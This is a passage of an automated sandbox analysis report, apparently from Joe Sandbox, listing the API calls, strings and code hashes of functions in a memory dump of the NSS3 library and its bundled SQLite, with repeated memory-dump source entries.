Part of subcall function 6CE82E00: PL_HashTableLookup.NSS3(?), ref: 6CE82E71
Part of subcall function 6CE82E00: PL_HashTableRemove.NSS3(?), ref: 6CE82E84
Part of subcall function 6CE82E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6CE82E96
Part of subcall function 6CE82E00: PR_Unlock.NSS3 ref: 6CE82EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE82D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6CE82D30
CERT_MakeCANickname.NSS3(00000001), ref: 6CE82D3F
free.MOZGLUE(00000000), ref: 6CE82D73
CERT_DestroyCertificate.NSS3(?), ref: 6CE82DB8
free.MOZGLUE ref: 6CE82DC8

Part of subcall function 6CE83E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE83EC2
Part of subcall function 6CE83E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CE83ED6
Part of subcall function 6CE83E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE83EEE
Part of subcall function 6CE83E60: PR_CallOnce.NSS3(6CFE2AA4,6CEE12D0), ref: 6CE83F02
Part of subcall function 6CE83E60: PL_FreeArenaPool.NSS3 ref: 6CE83F14
Part of subcall function 6CE83E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE83F27

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: 206c7d11d32bb0b5b4ac170c2fb7ed384463340a6cfa590eb409e61ffcfb666f
Instruction ID: a724954450a4fdf1efc8099dbc7baf5e5c44ba9611430f1ab92ace5d4d310f0f
Opcode Fuzzy Hash: 206c7d11d32bb0b5b4ac170c2fb7ed384463340a6cfa590eb409e61ffcfb666f
Instruction Fuzzy Hash: 0A51D071A063119BDB019E68CC88B6B7BF5EFA434CF24042CEC5997790E731E815CB92

Function 6CEA8F70 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6CE9DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CEA8FAF
PR_Now.NSS3(?,?,00000002,?,?,?,6CE9DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CEA8FD1
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CE9DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CEA8FFA
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CE9DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CEA9013
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CE9DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CEA9042
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CE9DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CEA905A
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CE9DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CEA9073
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CE9DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CEA90EC

Part of subcall function 6CE70F00: PR_GetPageSize.NSS3(6CE70936,FFFFE8AE,?,6CE016B7,00000000,?,6CE70936,00000000,?,6CE0204A), ref: 6CE70F1B
Part of subcall function 6CE70F00: PR_NewLogModule.NSS3(clock,6CE70936,FFFFE8AE,?,6CE016B7,00000000,?,6CE70936,00000000,?,6CE0204A), ref: 6CE70F25

PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CE9DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CEA9111

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$InternalK11_ModulePageSizeSlot
String ID:
API String ID: 2831689957-0
Opcode ID: e4da788c6adb5bd2fe22856c5b679fb00614e122e688e0f1a9c28995ef051fb0
Instruction ID: 2db36372f27790da4a618e83c50388e17e80fbcff45d2cfddd7e37725dc71f43
Opcode Fuzzy Hash: e4da788c6adb5bd2fe22856c5b679fb00614e122e688e0f1a9c28995ef051fb0
Instruction Fuzzy Hash: E551AF75A046058FCF40EFB9C4C8359BBF4AF0A318F264569DC449B706EB36E886CB81

Function 6CE87CC0 Relevance: 13.6, APIs: 9, Instructions: 132threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CE840D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6CE83F7F,?,00000055,?,?,6CE81666,?,?), ref: 6CE840D9
Part of subcall function 6CE840D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6CE81666,?,?), ref: 6CE840FC
Part of subcall function 6CE840D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6CE81666,?,?), ref: 6CE84138

PR_GetCurrentThread.NSS3 ref: 6CE87CFD

Part of subcall function 6CF49BF0: TlsGetValue.KERNEL32(?,?,?,6CF90A75), ref: 6CF49C07

SECITEM_ItemsAreEqual_Util.NSS3(?,6CFA9030), ref: 6CE87D1B

Part of subcall function 6CEDFD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6CE81A3E,00000048,00000054), ref: 6CEDFD56

SECITEM_ItemsAreEqual_Util.NSS3(?,6CFA9048), ref: 6CE87D2F
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6CE87D50
PR_GetCurrentThread.NSS3 ref: 6CE87D61
PORT_ArenaMark_Util.NSS3(?), ref: 6CE87D7D
free.MOZGLUE(?), ref: 6CE87D9C
CERT_CheckNameSpace.NSS3(?,00000000,00000000), ref: 6CE87DB8
PR_SetError.NSS3(FFFFE023,00000000), ref: 6CE87E19

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Util$CurrentEqual_ErrorItem_ItemsThread$ArenaCheckCompareCopyFindMark_NameSpaceTag_Valuefreememcmp
String ID:
API String ID: 70581797-0
Opcode ID: fc63cef295338656845027e80b6947f74035f8fc86e289da92f4dd10075630a5
Instruction ID: aa3799c9377c457fe1d25ff4fefc02b86eada16410818e52049e61a5772404b5
Opcode Fuzzy Hash: fc63cef295338656845027e80b6947f74035f8fc86e289da92f4dd10075630a5
Instruction Fuzzy Hash: 7A41F672B011199BDB008E699C41BAF37F8AF4629CF250028FC1DA7791EB31ED15C7A1

Function 6CE97EB0 Relevance: 13.6, APIs: 9, Instructions: 124threadCOMMON

Download Yara Rule

APIs

free.MOZGLUE(?,00000000,00000000,?,?,?,6CE980DD), ref: 6CE97F15
DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,?,?,6CE980DD), ref: 6CE97F36
free.MOZGLUE(?,?,?,6CE980DD), ref: 6CE97F3D
SECOID_Shutdown.NSS3(00000000,00000000,?,?,?,6CE980DD), ref: 6CE97F5D
DeleteCriticalSection.KERNEL32(?,6CE980DD), ref: 6CE97F94
free.MOZGLUE(?), ref: 6CE97F9B
PR_SetError.NSS3(FFFFE08B,00000000,6CE980DD), ref: 6CE97FD0
PR_SetThreadPrivate.NSS3(FFFFFFFF,00000000,6CE980DD), ref: 6CE97FE6
free.MOZGLUE(?,6CE980DD), ref: 6CE9802D

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection$ErrorPrivateShutdownThread
String ID:
API String ID: 4037168058-0
Opcode ID: d27d31b1c2370545e9d2900f58250bf55bb4952c17975dcde6caf0659bac6ce7
Instruction ID: 36138dadb41106d10c79bd2138c3680913ac61ea478508a4e9869cc9175e9993
Opcode Fuzzy Hash: d27d31b1c2370545e9d2900f58250bf55bb4952c17975dcde6caf0659bac6ce7
Instruction Fuzzy Hash: B1413B71F112016FDFD09FB88889B4B3775AB4B358F22022DE51A93B40EB36E509CB90

Function 6CEDFEE0 Relevance: 13.6, APIs: 9, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEDFF00

Part of subcall function 6CF2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF2C2BF

PORT_ArenaMark_Util.NSS3(?), ref: 6CEDFF18
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CEDFF26
PORT_ArenaMark_Util.NSS3(?), ref: 6CEDFF4F
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CEDFF7A
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CEDFF8C

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Mark_$ErrorValuememset
String ID:
API String ID: 1233137751-0
Opcode ID: 881f11d3c6c323bb5851fe3db2193ccac8de6886eeaff1a022bd829e579336e3
Instruction ID: 6c4cda35bbd650b9bbb91dd5219079f6f66423de45613b0144cb6593891f44a0
Opcode Fuzzy Hash: 881f11d3c6c323bb5851fe3db2193ccac8de6886eeaff1a022bd829e579336e3
Instruction Fuzzy Hash: 2F3126B29013529BE710CF949C42B5B76B8AF4A38CF364539ED1897741EB34E906C7D2

Function 6CE27D70 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 179COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE27E27
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE27E67
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001065F,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000003,?,?), ref: 6CE27EED
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001066C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE27F2E

Strings

database corruption, xrefs: 6CE27EE2, 6CE27F23
%s at line %d of [%.10s], xrefs: 6CE27EE7, 6CE27F28
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE27ED8, 6CE27F08, 6CE27F19

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: f91e6818998064ad49a49ff737c2942fad9e81960ae0fa41db9712c7bfef4fe6
Instruction ID: e8813f52363dc3c1dd7a1d981a9e32415ad86b3cf7a0bacb1235f532e125d700
Opcode Fuzzy Hash: f91e6818998064ad49a49ff737c2942fad9e81960ae0fa41db9712c7bfef4fe6
Instruction Fuzzy Hash: F261C075B042059FDB05CF29C880BAA37B2BF46308F2448ACEC095BB52D735EC56CBA1

Function 6CE0FCF0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 155COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124AC,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE0FD7A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE0FD94
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124BF,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE0FE3C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE0FE83

Part of subcall function 6CE0FEC0: memcmp.VCRUNTIME140(?,?,?,?,00000000,?), ref: 6CE0FEFA
Part of subcall function 6CE0FEC0: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000,?), ref: 6CE0FF3B

Strings

database corruption, xrefs: 6CE0FD6E, 6CE0FE30
%s at line %d of [%.10s], xrefs: 6CE0FD73, 6CE0FE35
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE0FD64, 6CE0FE26

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$memcmpmemcpy
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1169254434-598938438
Opcode ID: 8a83c3685cdaa7f0c2d249e3523a6453657b91a36eb561710ee7f0941f2ea81f
Instruction ID: 5028110f7da4e149fdf62621ab3104cfd4ffd73a6cbb818ffba201b87da86ada
Opcode Fuzzy Hash: 8a83c3685cdaa7f0c2d249e3523a6453657b91a36eb561710ee7f0941f2ea81f
Instruction Fuzzy Hash: 96516F75B002059FDB04CFA9C890AAEB7B1FF48318F244469EA05AB752E735EC61CBD5

Function 6CF52F70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF52FFD
sqlite3_initialize.NSS3 ref: 6CF53007
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CF53032
sqlite3_mprintf.NSS3(6CFBAAF9,?), ref: 6CF53073
sqlite3_free.NSS3(?), ref: 6CF530B3
sqlite3_mprintf.NSS3(sqlite3_get_table() called with two or more incompatible queries), ref: 6CF530C0

Strings

sqlite3_get_table() called with two or more incompatible queries, xrefs: 6CF530BB

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: sqlite3_mprintf$memcpysqlite3_freesqlite3_initializestrlen
String ID: sqlite3_get_table() called with two or more incompatible queries
API String ID: 750880481-4279182443
Opcode ID: 4df6cee9f2c1175ba753d84f3139f51a7d8b93c279c83ac5e611fd0656e22854
Instruction ID: b64fa249d91142ef08a4bf3c11740c0bf5b2a85b47c6ab5f567b0198c285549b
Opcode Fuzzy Hash: 4df6cee9f2c1175ba753d84f3139f51a7d8b93c279c83ac5e611fd0656e22854
Instruction Fuzzy Hash: 14419272600706ABDB00CF29D880A8AB7F5FF54358F548628ED5987B40E731F969CBD1

Function 6CED5ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 80stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(q]l), ref: 6CED5F0A
TlsGetValue.KERNEL32 ref: 6CED5F1F
EnterCriticalSection.KERNEL32(89000904), ref: 6CED5F2F
PR_Unlock.NSS3(890008E8), ref: 6CED5F55
PR_SetError.NSS3(00000000,00000000), ref: 6CED5F6D
SECMOD_UpdateSlotList.NSS3(8B4274C0), ref: 6CED5F7D

Part of subcall function 6CED5220: TlsGetValue.KERNEL32(00000000,890008E8,?,6CED5F82,8B4274C0), ref: 6CED5248
Part of subcall function 6CED5220: EnterCriticalSection.KERNEL32(0F6CFA0D,?,6CED5F82,8B4274C0), ref: 6CED525C
Part of subcall function 6CED5220: PR_SetError.NSS3(00000000,00000000), ref: 6CED528E
Part of subcall function 6CED5220: PR_Unlock.NSS3(0F6CF9F1), ref: 6CED5299
Part of subcall function 6CED5220: free.MOZGLUE(00000000), ref: 6CED52A9

Strings

q]l, xrefs: 6CED5EDB, 6CED5F09

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$ListSlotUpdatefreestrlen
String ID: q]l
API String ID: 3150690610-3830342008
Opcode ID: db610fb22f90eba5593755c70f0870fa5eae8904029c94719f7c270daa33a37b
Instruction ID: 0a214ef923659a95259b428e9f70815bbc65cf664d69ea4eda2874aa0c38e7bc
Opcode Fuzzy Hash: db610fb22f90eba5593755c70f0870fa5eae8904029c94719f7c270daa33a37b
Instruction Fuzzy Hash: F921B6F1D002045FDB109F68DC417EEBBB4EF09308F654029E905AB741EB31A955CBD2

Function 6CE98CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6CEA124D,00000001), ref: 6CE98D19
EnterCriticalSection.KERNEL32(?,?,?,?,6CEA124D,00000001), ref: 6CE98D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6CEA124D,00000001), ref: 6CE98D73
PR_Unlock.NSS3(?,?,?,?,?,6CEA124D,00000001), ref: 6CE98D8C

Part of subcall function 6CF2DD70: TlsGetValue.KERNEL32 ref: 6CF2DD8C
Part of subcall function 6CF2DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CF2DDB4

PR_Unlock.NSS3(?,?,?,?,?,6CEA124D,00000001), ref: 6CE98DBA

Strings

KRAM, xrefs: 6CE98CF9
KRAM, xrefs: 6CE98D3E

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: 773f3e2cc106b24aacd01991d69d32889345fe410f0d86c9dc8d7cee9c345b66
Instruction ID: 18478c9c869ff88a02a71ffe7b087c36ad4af16455ae7788e7b86119f74559da
Opcode Fuzzy Hash: 773f3e2cc106b24aacd01991d69d32889345fe410f0d86c9dc8d7cee9c345b66
Instruction Fuzzy Hash: A921A1B1A046018FDB50EF78C48465AB7F4FF45308F25896AD99887721EB35E882CB91

Function 6CEBACC0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageDecryptFinal), ref: 6CEBACE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CEBAD14
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEBAD23

Part of subcall function 6CF9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF9D963

PR_LogPrint.NSS3(?,00000000), ref: 6CEBAD39

Strings

(CK_INVALID_HANDLE), xrefs: 6CEBAD1C
C_MessageDecryptFinal, xrefs: 6CEBACE1
hSession = 0x%x, xrefs: 6CEBACFE, 6CEBAD0E

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageDecryptFinal
API String ID: 332880674-3521875567
Opcode ID: 27fe44850c5dac15544ff4a5520bd877ac43b5c92069b1e92d7e365ba6b28d6d
Instruction ID: 9f54bc18d4b49f1301e08e4aafa726bcc853023ffc4e4b30ee10d93ebc4c4d49
Opcode Fuzzy Hash: 27fe44850c5dac15544ff4a5520bd877ac43b5c92069b1e92d7e365ba6b28d6d
Instruction Fuzzy Hash: 55213A30A00108EFDF849B64DE88B7A7775AB4A70EF140429E909A7711DF359D09CB92

Function 6CF90ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CF90EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CF90EFA

Part of subcall function 6CE7AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CE7AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF90F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF90F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF90F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF90F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6CF90ED9, 6CF90EE5, 6CF90F06, 6CF90F0B
Aborting, xrefs: 6CF90EB3

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
